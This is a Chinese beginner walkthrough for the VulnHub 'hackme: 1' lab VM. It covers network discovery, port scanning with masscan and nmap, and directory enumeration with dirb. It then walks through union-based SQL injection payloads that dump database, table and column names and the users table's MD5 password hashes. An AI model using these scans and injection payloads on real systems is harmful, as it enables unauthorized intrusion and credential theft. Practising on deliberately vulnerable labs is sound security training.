hackme1新手教学

最新推荐文章于 2025-06-14 09:00:03 发布

原创最新推荐文章于 2025-06-14 09:00:03 发布 · 1.5w 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#数据库 #php #开发语言

靶机地址：hackme: 1 ~ VulnHubhttps://www.vulnhub.com/entry/hackme-1,330/

1.将靶机下载并导入到vm虚拟机当中，开启hackme1靶场。

2.打开kali虚拟机输入arp-scan -l 查看同一网段的所有IP，寻找靶机的IP地址，发现靶机IP为192.168.47.137

3.通过ifconfig查看kali的IP地址，此处kali作为攻击机。

4.通过masscan --rate=100000 -p 0-65535 192.168.47.137

对靶机进行端口扫描，发现开放80和22端口。

5.通过nmap -T4 -sV -O -p 22,80 192.168.47.137

对80和22端口进行nmap详细扫描查看端口的具体信息。

6.通过dirb http://192.168.47.137命令查看80端口的详细目录，发现目录为upload。

7.访问http://192.168.47.137

8.点击sign up now进行注册，并登录。

9.接下来查看是否有sql注入，点击search可以查看所有信息。

10.在查询框输入OSINT’and 1=1#发现有回显，说明存在注入。

11.输入order by 3#发现有回显，输入order by 4#没有回显，说明字段数为3.

12.输入-1' union select database(),2,3# ，查看数据库具体信息，得到数据库名称为webapphacking 。

13.输入-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#，查询数据库的所有表，得到数据库中存在books表和users表；猜测users表包含账户信息。

14.输入-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#，查看user表中的所有列，发现有user和password，猜测账户密码很可能存在这两个列中。

15.输入-1' union select group_concat(user),group_concat(pasword),3 from users#，查看user和password的具体信息，发现用户名其中一个是superadmin，最有可能为管理员账户，得到用户名和密码，但是密码被md5加密。